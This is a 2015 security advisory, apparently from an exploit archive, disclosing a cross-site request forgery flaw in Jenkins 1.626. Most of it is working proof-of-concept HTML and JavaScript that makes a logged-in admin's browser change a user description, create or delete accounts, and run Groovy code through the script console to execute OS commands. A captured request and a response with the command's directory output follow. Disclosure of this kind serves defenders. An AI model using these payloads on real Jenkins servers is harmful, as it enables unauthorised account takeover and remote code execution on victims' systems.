Jenkins 1.626 Code Execution / Cross Site Request Forgery
Posted on 01 September 2015
#Title: Jenkins 1.626 - Cross Site Request Forgery / Code Execution #Date: 27.08.15 #Affected versions: => 1.626 (current) #Vendor: jenkins-ci.org #Contact: smash [at] devilteam.pl Cross site request forgery vulnerability in Jenkins 1.626 allows remote attackers to hjiack the authentication of users for most request. Using CSRF it is able to change specific settings or even execute code on os as shown below. Examples: <html> <!-- Change user descripton --> <body> <form action="http://127.0.0.1/jenkins/user/user/submitDescription" method="POST"> <input type="hidden" name="description" value="abc" /> <input type="hidden" name="json" value="{"description": "abc"}" /> <input type="hidden" name="Submit" value="Submit" /> <input type="submit" value="Go" /> </form> </body> </html> <!-- // --> <html> <!-- Add user --> <body> <form action="http://127.0.0.1/jenkins/securityRealm/createAccountByAdmin" method="POST"> <input type="hidden" name="username" value="csrf" /> <input type="hidden" name="password1" value="pass" /> <input type="hidden" name="password2" value="pass" /> <input type="hidden" name="fullname" value="Legit Bob" /> <input type="hidden" name="email" value="bob@mail.box" /> <input type="hidden" name="json" value="{"username": "csrf", "password1": "pass", "password2": "pass", "fullname": "Legit Bob", "email": "bob@mail.box"}" /> <input type="hidden" name="Submit" value="Sign up" /> <input type="submit" value="Go" /> </form> </body> </html> <!-- // --> <html> <!-- Delete user --> <body> <form action="http://127.0.0.1/jenkins/user/csrf/doDelete" method="POST"> <input type="hidden" name="json" value="{}" /> <input type="hidden" name="Submit" value="Yes" /> <input type="submit" value="Go" /> </form> </body> </html> <!-- // --> <html> <!-- Code execution #1 groovy: print "cmd /c dir".execute().text --> <body> <form action="http://127.0.0.1/jenkins/script" method="POST"> <input type="hidden" name="script" value="print "cmd /c dir".execute().text " /> <input type="hidden" name="json" value="{"script": "print "cmd /c dir".execute().text ", "": ""}" /> <input type="hidden" name="Submit" value="Wykonaj" /> <input type="submit" value="Go" /> </form> </body> </html> <html> <!-- Code execution #2 groovy: print "cmd /c dir".execute().text --> <body> <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://127.0.0.1/jenkins/computer/(master)/script", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "pl,en-US;q=0.7,en;q=0.3"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "script=println+%22cmd+%2Fc+dir%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22cmd+%2Fc+dir%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Wykonaj"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); </body> </html> Request: POST /jenkins/script HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/jenkins/script Cookie: JSESSIONID=E8F948238B2F4D6DAFAF191F074E6C3E; screenResolution=1600x900 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 178 script=print+%22cmd+%2Fc+dir%22.execute%28%29.text%0D%0A&json=%7B%22script%22%3A+%22print+%5C%22cmd+%2Fc+dir%5C%22.execute%28%29.text%5Cn%22%2C+%22%22%3A+%22%22%7D&Submit=Wykonaj Response: HTTP/1.1 200 OK Date: Thu, 27 Aug 2015 18:06:55 GMT Server: Apache X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Expires: 0 Cache-Control: no-cache,no-store,must-revalidate X-Hudson-Theme: default X-Hudson: 1.395 X-Jenkins: 1.626 X-Jenkins-Session: 0ff3a92b X-Hudson-CLI-Port: 1834 X-Jenkins-CLI-Port: 1834 X-Jenkins-CLI2-Port: 1834 X-Frame-Options: sameorigin X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoMa5pk8H/b/c/jIOBH+D8XGi2/1MUshSuGtK41S9ON67SRR1Dzmqlzhj+Hsgla6+NJDCFKqZf3aoQbgt8nVzQRkb12bjYPHMupa58SApxwIyvhRJaNq9jq+CcllEwt9m+N1JeCxeLork82LAbiDSBbPhHBGLzqA0a9hzKVTm80i9yiTqDoEK+WyK4m8AyqJFH/V4lkERKbSr2YK1u2sFGCuBaGAK/RYspmNmJSqj0c3lPEYeDsehTSn4PHpFrbsvKkHKD1RxNDRciSFMNY3RtxpBEhKxvJHkpy9HKF+ktYebwCMZ4J8LKnhkvwqJPgpqar3FuxX4Gsfwoy0/1oCtPQIDAQAB X-SSH-Endpoint: 127.0.0.1:1832 Content-Type: text/html;charset=UTF-8 Content-Length: 13468 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive (...) ><link rel='stylesheet' href='/jenkins/adjuncts/0ff3a92b/org/kohsuke/stapler/codemirror/theme/default.css' type='text/css' /><h2>Rezultat</h2><pre> Wolumin w stacji C to Windows7_OS Numer seryjny woluminu: D2DC-59F9 Katalog: C:Bitnamijenkins-1.626-0 2015-08-27 18:51 <DIR> . 2015-08-27 18:51 <DIR> .. 2015-08-27 18:47 <DIR> apache-tomcat 2015-08-27 18:47 <DIR> apache2 2015-08-27 18:47 <DIR> apps 2015-08-27 18:49 9�751 changelog.txt 2015-08-27 18:47 <DIR> common 2015-08-27 18:48 <DIR> git 2015-08-27 18:49 <DIR> gradle 2015-08-27 18:47 <DIR> img 2015-08-27 18:47 <DIR> java 2015-08-27 18:47 <DIR> licenses 2015-07-30 14:15 3�080�056 manager-windows.exe 2015-08-27 18:50 1�102 properties.ini 2015-08-27 18:49 12�118 README.txt 2015-08-27 18:50 <DIR> scripts 2015-08-27 18:47 5�536 serviceinstall.bat 2015-08-27 18:47 5�724 servicerun.bat 2015-08-27 18:47 <DIR> sqlite 2015-08-27 18:51 268�031 uninstall.dat 2015-08-27 18:51 7�038�369 uninstall.exe 2015-08-27 18:50 166 use_jenkins.bat 9 plik(�w) 10�420�853 bajt�w 13 katalog(�w) 110�690�426�880 bajt�w wolnych </pre></div> (...)
